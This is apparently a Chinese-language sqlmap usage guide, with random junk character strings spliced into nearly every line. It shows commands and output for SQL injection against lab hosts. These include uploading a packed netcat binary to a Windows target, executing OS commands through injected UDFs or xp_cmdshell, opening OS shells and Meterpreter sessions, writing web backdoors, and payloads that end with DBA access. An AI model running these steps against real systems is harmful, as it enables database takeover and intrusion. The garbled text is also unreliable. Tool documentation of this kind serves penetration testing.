$ s( |+ `3 e1 B& ]' o1 i! q$ file /software/nc.exe.packed / E# a6 Y" I$ }) l4 K& i/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit 6 O2 v' ^+ P7 {0 \0 Y4 H& t. L* |2 t' q
$ ls -l /software/nc.exe.packed . l @2 v: s8 i, w-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed4 l/ k7 c6 t3 Z
8 U" t4 C3 ^. }$ K; x
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \0 B% b4 g- H' @! u6 s4 C8 o' b4 X
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 13 X5 c' t9 e) i% S: H9 R& P& A6 A
# E' [) m' f' C- q
[...] / \) K: T; N4 D# G[hh:mm:29] [INFO] the back-end DBMS is MySQL ! T& O' t* h( i& ]1 l/ }web server operating system: Windows 2003 or 20083 g# ~' L( X6 z/ X/ E
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.507275 U% z' G4 z/ o; }; ~
back-end DBMS: MySQL >= 5.0.0 0 u p! K8 \1 `) D! U" Q" ?+ X / I; e: G) B, w- E: I ?& s U. a[...]/ X0 z2 i" g4 v) t
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully : b* G( e/ n! f2 \( ^6 `
written on the back-end DBMS file system? [Y/n] y : _, D& z& M8 {( S. N* ^. Y, j[hh:mm:52] [INFO] retrieved: 31744! \/ g7 l9 ]7 h4 s: o# h# c: b; J; F
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, ! f/ k; c* J) M+ a; j
same size as the local file '/software/nc.exe.packed' ! U/ e- n5 ?6 w. K }; l 3 |( }# c- C) z1 f/ j运行任意操作系统命令+ O- D& H" c& _5 U; z
& {% q, l8 v( W- Q0 R4 `参数:--os-cmd,--os-shell. P8 a3 q3 X- V' K5 Y- \
/ E, u; U* j O! N0 q! r
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。 6 y$ L- _8 n% _ |! D* t" ^( p% T2 B1 [+ k, u z7 E; K
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。6 F( o0 T) R" R) W% i. k: ^; \
6 K4 \ W) y" L
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。+ e5 K9 ? d4 e1 K& e$ p! U
! w, z6 S4 m9 B$ Z9 S
列举一个PostgreSQL的例子: . c5 b+ X7 O M9 ~ 4 _1 u; ]" ~/ M" B, a$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \6 z" w; L3 U% N
--os-cmd id -v 1: k: ]* O0 d/ b' M- }: ]( Z5 q! q
( L$ B; Q' a2 u1 J5 D[...] " v2 w. W$ [ Gweb application technology: PHP 5.2.6, Apache 2.2.93 X! J# l/ J5 |1 Q/ e E+ x! l
back-end DBMS: PostgreSQL4 m; x" I' m2 H) D( Q
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system 3 \: J' R* Z& a" V[hh:mm:12] [INFO] the back-end DBMS operating system is Linux, p5 u k2 u$ G$ R$ \0 {7 u" V- j3 ~
[hh:mm:12] [INFO] testing if current user is DBA# F4 e8 b% R- @* r
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner ; }3 ?, k2 N. l9 N[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist 4 {% }6 l4 C& @[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist" S) O, V7 q1 C7 s" P
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file & B( W. U$ u; S+ A0 o# o. F r; N; d[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file , i8 X# n4 v2 ]5 z) x& S0 kdo you want to retrieve the command standard output? [Y/n/a] y5 g! A0 M7 N7 p8 B- Z
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' % A8 d1 X1 W# y* V $ {/ M* t) K3 x[hh:mm:19] [INFO] cleaning up the database management system ; ?! b. K& X4 jdo you want to remove UDF 'sys_eval'? [Y/n] y9 E6 R: [9 M; M- Z, d
do you want to remove UDF 'sys_exec'? [Y/n] y * i" N6 l0 G9 s% E( `[hh:mm:23] [INFO] database management system cleanup finished ( a! `. B4 p" @# S- b W% N[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can . @7 R2 @% i; b3 R( V! donly be deleted manually" i# a% h9 j- c
6 Y% N, I/ H9 L, e: p
用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 " U) h: g+ |- x' s; L9 r5 |6 W" l3 {
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言: 0 g+ h6 k% R# J& O' N& w* `* [+ L5 N1 A. `/ a8 i0 a
1、ASP7 i# N0 `) ^/ O/ c3 l
2、ASP.NET [6 b/ E& ^9 e6 S. T' u* d# T4 \
3、JSP7 Y* t# n' d( Y0 P
4、PHP 1 G# _( M2 C6 S; l! q* p1 Y 3 E9 K- l% d. y# j' xMeterpreter配合使用 & o; c6 a' l2 n$ h* @2 ^+ P( `4 o% B' g" t [3 i/ v1 Q9 T! P' |
参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path- H9 s. y& C: T8 v
. ?+ D k; G: a) ?7 B5 f
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:! ?) H/ u* C, {, }
! y$ n5 X# C0 W, S* L1 l2 V1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。 ! \* s7 _ F' B' a9 ?5 E P2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。7 E V: g0 ? t( w3 A+ v0 E
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。2 N; Z0 b0 C, h, s. o
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof3 ^; t- b% c1 R- z$ g$ |. T
0 J: m2 u; l6 n4 l
列举一个MySQL例子:( O7 ]) F" ]- I" b& q8 z5 h( U- S9 K
" \7 k l: S* E* C) {2 s1 j X& _如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。 ' D* ?, Z# X: F- h3 D. b' ~自动获取form表单测试 , `: F7 f& `3 f7 @/ T 0 H0 @2 v' v) b1 x6 I8 D参数:--forms ! |! y4 }1 H. Z4 k; O n 0 p7 q9 e" z5 J: l如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。1 @3 F# t) u( G: A6 h( O& v
忽略在会话文件中存储的查询结果 0 c/ P6 P; I) {( c: [/ G W) X. J; S; m7 f6 h H, l( V* ~
参数:--fresh-queries & v4 L* ?& Q3 k- Y) L' u. M6 A$ B1 k. V( r( ^# P) l, V
忽略session文件保存的查询,重新查询。7 A6 C1 P7 Y' d5 \- S9 m* x, q
使用DBMS的hex函数& z! B: @2 z) S: o" h+ E
7 A; g# m3 Z2 x) u* p" W
参数:--hex 0 a7 c. J6 E! e: T" S5 y$ \& V% A3 I! T. N& |
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: 0 `8 Z2 r: |8 a; J1 @& J, ~9 ]0 N$ k# x3 j
针对PostgreSQL例子: " `2 k$ X# `. t# ]5 a. j$ y* W5 J; C6 A# R
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors 5 ^: H3 J1 {/ z& u$ A' G& k0 w5 T 0 R* b9 [% T" q6 ~% O8 W+ @$ `1 P N[...] 3 Z9 E/ Z/ q- H9 w% `0 ]- y0 ~[xx:xx:14] [INFO] fetching banner 6 O5 P1 |; b& y- @+ v3 E[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) 5 R7 D% n0 u1 r5 w6 t: n1 i$ S[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'5 K$ x$ A5 H9 ?4 D# d
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by ^8 n2 p4 ~0 j: RGCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 3 _( } X2 I% k6 W! s[...]! h# O- d$ v0 D2 c8 b) ^
3 x) w1 j6 Z1 f+ K3 o! H, L$ o
自定义输出的路径. g. y I" Y/ X: z" v, e
8 _$ R! r! v6 x. e3 _
参数:--output-dir$ I) N# _# |! m1 Q$ h8 j8 X% u
& V& Q& s9 H; K0 K- Csqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp: S4 y& q) k$ U8 P* a
从响应中获取DBMS的错误信息; |3 m1 j1 q' i
4 F- H5 N5 H6 b/ o
参数:--parse-errors h% I1 d7 v. ` Q) N: f
. V* _) i& ]7 Q有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 % `* M. p. c5 Q3 N. u! ]! w5 K& h; x" r2 y2 `# J8 ^
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors ! h9 e3 X/ \( ~% G[...] / `" T' Q t$ [6 o9 v0 U[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test ( ]* P+ N' u* l C6 _* J9 i[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) - r V% ^6 S0 D1 G0 e% a[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.$ ?& }8 \+ G1 b% x
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'' h3 b& A! d( A6 R1 Z/ B6 U ^. i* a
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) - B( K& M) b6 I0 y/ Z0 |; Z' j0 n. x[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. 1 M+ R' p4 G9 y( o. C9 Q$ k<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'7 ]* A8 z( P4 S. f) B
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 4 T' q" I+ R7 q7 Q[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list./ z2 V; Z: i3 b, E' C5 b
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'8 L" i- K0 m/ k9 X- W
[11:12:17] [INFO] target URL appears to have 3 columns in query$ ^! j! \9 r, }6 y8 F
[...] / ~, }* X# K8 \& C ?9 k F1 M- J9 Y- ?% r% d- Y8 J3 e1 E
其他的一些参数 C' w$ `! }9 \; w8 [% x使用参数缩写 / e1 x8 J" e5 s3 J- ]# W8 ~$ P! ?$ d- } 7 ?4 Z& k1 Z/ y1 v, {/ y7 s参数:-z 2 t3 o. K6 ?! b" w: Z& n1 k! L; n( P2 `- E! y
有使用参数太长太复杂,可以使用缩写模式。 例如: " _' N# U. ?; C5 ~3 ` 8 Z3 R9 e/ R/ Spython sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" . I/ R5 m! \, e3 x# G2 b
4 p2 I/ N# M1 ~& C9 r1 s% g E. O: r
可以写成:6 G0 ?0 M6 m0 g
0 b9 x1 P1 \, ~0 f
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" & Q2 y& ^1 K4 ~0 p! w9 U + h3 d: C7 o( `6 m7 d6 g8 q还有:7 F/ R* ?0 X* d
) l0 ~) [9 {+ z9 v' M. Q参数:--alert " l | c1 T& a- c% ~7 \% R设定会发的答案+ p g4 Q! a1 y. g" d
: `) m0 k) Z. \; v) O
参数:--answers4 {1 `" U$ e" e; r. u
" u% [( g7 X. f& Q9 Z
当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:, |" \6 n/ i( ^9 p8 k
% [9 r4 g8 m; z8 y
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch4 E0 Z4 k f4 n4 [% m
[...]( b3 W, v" j7 U y
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'" N4 n: @) d8 R, m/ Y" c9 ~
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y6 T- W" y6 R$ L% y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N0 |& G9 a$ A |1 e' n3 ^
[...] + x R& L0 b w! K $ D7 x( z$ F0 @- w2 m. \发现SQL注入时发出蜂鸣声 G3 X" V% f$ Q2 p
6 s8 q+ v8 {* ?1 ], e2 q2 F8 L参数:--beep 2 q4 }% \. v( m0 u3 {* }: j5 r1 T% w5 Y- Z" X
发现sql注入时,发出蜂鸣声。. }- i2 f8 D# O* `* U! j N
启发式检测WAF/IPS/IDS保护& E% ?" V7 h B/ `5 m* I
5 V0 z% s3 N* I6 i
参数:--check-waf' `2 X0 J/ k% c
2 T+ M; M9 S8 O* c, @" |2 v0 T
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试# Z7 |; U, y; q6 q* l" ?: }
4 ^; \$ }0 H# C7 i& i
例如: + M/ E: E- o0 S4 ^1 D& I) E" L: J/ P0 Q
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>18 {% T8 Y5 {; A7 A1 d8 |
, l p' q Q* B0 U! r. n例子:! _, Z- _/ O, y' f% i" [0 p
8 K# `. _6 O6 e( a$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart5 l% \3 ]/ G5 Y0 K4 O" T
[...] : p; }% F+ l% j! m[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic$ w; Z X* y# d& s# L
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic + q3 @5 l$ |" B[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable$ l& E1 q% D0 c! N4 w3 I) V
[xx:xx:14] [INFO] skipping GET parameter 'ca'( h3 @0 a1 N0 a3 g
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic 9 ~3 i. _7 f; U' o6 K[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic / i1 z: W) T0 T. G. K! u! X[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable 9 ?! O* m" F! D% J8 L[xx:xx:14] [INFO] skipping GET parameter 'user') B: d% Y9 A, }( e" r
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic 3 \/ x O m# J% A6 R9 r. R7 W( E[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic0 N4 Z3 G. [- @) r
[xx:xx:14] [INFO] GET parameter 'id' is dynamic - A/ i6 f t8 R3 s[xx:xx:14] [WARNING] reflective value(s) found and filtering out' I0 V0 @1 H# I6 T, Z
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 3 D# ?9 m3 g' g[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'; a0 e2 a ]5 M1 M5 Q( [
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y/ M) m; E. k0 H' a7 E- X7 C
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y, M' u( {, \5 o8 n- `) M
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'$ @) ]- \0 g- u
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable & i9 J7 k) \/ b4 U8 }- `$ Z: I V( |
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'2 I/ Y( c/ O$ Z/ u5 t
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable # L8 w; x' I7 Q- d[xx:xx:14] [INFO] testing 'MySQL inline queries') g7 K5 S7 A( y8 \2 K
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'! k7 g1 b- H' n; D
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' & D5 o; W* ?' [% b6 k) W7 v[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind', V) B2 E3 a/ a5 n- q5 V# w
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 0 P% U- U, y. n% |- w5 w) ^& A [, B6 n[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' . J( n# ?! h" ?( {[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found 7 ]. |' }& X# S5 f[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test7 i; O% Z) D( e6 b
[xx:xx:24] [INFO] target URL appears to have 3 columns in query " B0 q8 ?3 S7 h' g( k4 f, p& O[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable 6 C, r8 ~" W+ N& x4 \ b1 R" ^[...]3 n \; a$ E- M
9 Y2 O1 I9 `6 ?6 f: @3 \% d4 ^7 z
初级用户向导参数) K9 L; k8 f0 P& s% U6 Z! C
# ~+ a$ x" k* [, E6 r
参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。 3 M/ [. r% ^2 M" o$ g7 [( C2 J3 B, S, P# P
$ python sqlmap.py --wizard! ~7 E, ]6 b" V
+ [$ `0 I/ C% X5 j sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool 2 A0 {% T% b& Y: y, p) t( K) ` " n" ?! U7 l8 D% qhttp://sqlmap.org $ r2 n" S* R$ a% u ( b% O b; R6 U, s2 V[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program* W# W3 V6 a4 z' A' a2 ~. A, Y
starting at 11:25:26& z( v, p# n! c) e
6 T& y8 m6 {1 H! i* K4 D1 ?Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1! _/ Q/ x; S2 E _6 {
POST data (--data) [Enter for None]: ) f6 h$ j7 Y) e9 ]Injection difficulty (--level/--risk). Please choose:+ z R7 @1 z! j7 s, l
[1] Normal (default) 7 v1 D' H9 S4 Z& w- d* t; b& k[2] Medium# Q& l5 q2 ]( U0 u w* Z- g: u3 z
[3] Hard & U8 T: |6 x: q5 a# V> 1/ k, i$ ~ @( I3 n
Enumeration (--banner/--current-user/etc). Please choose: ; j; {, ]; ~) x' Q, {9 M8 M[1] Basic (default)+ @! |1 o" R. p; v G
[2] Smart 4 x5 x! h, }! g2 V3 P) O5 P[3] All. `8 ^) w$ w/ Y' x
> 1# x3 T$ s+ R5 v" D6 }5 g) Q, x
) K, b7 P: f3 j( `+ osqlmap is running, please wait.. , s) d5 n$ e9 O8 f8 y; M' B1 }, `4 A! u7 U" a" j
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y7 j; a* d. C& P! u0 G* f
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y* E8 @- m" [1 k) T6 [ h
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N ! _, K9 h# e y- [sqlmap identified the following injection points with a total of 25 HTTP(s) requests: " r$ k+ i) M, M: o6 G5 v---# k, u9 x r: @+ F& M
Place: GET ) M7 o+ g# i' v- tParameter: id( V) z9 h$ p! S! U- Z) X
Type: boolean-based blind 9 W, d P$ t& |9 C+ u. P Title: AND boolean-based blind - WHERE or HAVING clause5 g8 M9 {7 n- i. }- b6 y0 }! J
Payload: id=1 AND 2986=29860 m3 n+ s! Z! z6 ?) x1 {
: W" ]! s, s, [8 J A Type: error-based 8 P4 @ j1 `: A6 T& S }7 h7 ? Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause + o. t* x; a8 {9 G1 {; E Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))1 A4 G, _# O4 h' {9 c" J; A
; {0 {$ a5 K) v
Type: UNION query * i2 h# B' b, U6 I Title: Generic UNION query (NULL) - 3 columns7 `: l* k4 ^1 k, Z- J& N) J, q
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- 3 ^/ R; o& @( j: B% n. s2 P" q) q5 W# g9 \4 F" Q& P7 Y
Type: stacked queries 1 C5 e0 g) E2 s( w R+ F0 j% ^ g( O Title: Microsoft SQL Server/Sybase stacked queries : r- _/ _+ v. Z Payload: id=1; WAITFOR DELAY '0:0:5'-- ! M3 u) M$ c. `6 w0 T4 r" H+ o2 S/ z4 T& g9 Z# o2 X( C$ G
Type: AND/OR time-based blind* Q) h/ t# N9 T% Z
Title: Microsoft SQL Server/Sybase time-based blind , e( k0 m& ]4 \8 ^+ C Payload: id=1 WAITFOR DELAY '0:0:5'--7 w+ S. }9 W5 Y$ w* M
4 ?2 Y; n# `5 A5 F' ` Type: inline query7 `; W: r# S6 I0 p) m
Title: Microsoft SQL Server/Sybase inline queries: @- u8 F, R. h7 N8 J$ |
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))* [( K+ k- E& P7 g' |' b
--- 5 C# Q. S0 n& C! ^web server operating system: Windows XP k# ?, G# H! V5 p
web application technology: ASP, Microsoft IIS 5.12 S: m" _" V* Z
back-end DBMS operating system: Windows XP Service Pack 2 ' ?/ b! ~; N1 c1 J8 vback-end DBMS: Microsoft SQL Server 2005. l7 v, x2 F. |$ m( h; k
banner: # J4 c2 _& Y) A9 G& }1 D---! c- Z. o% ?- \
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) ) p, H, x8 J/ m# X1 R- u
Oct 14 2005 00:33:37 5 k: O5 E; e- y' _; a% X Copyright (c) 1988-2005 Microsoft Corporation / ]8 }- J1 d8 {# _1 V: i3 |$ v Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) 3 `6 B0 e& q% S---, p3 Y7 {( `( X- E% H( X
current user: 'sa' * @% \8 r, F5 I; Scurrent database: 'testdb'/ Q$ V" y, j6 L/ A! @
current user is DBA: True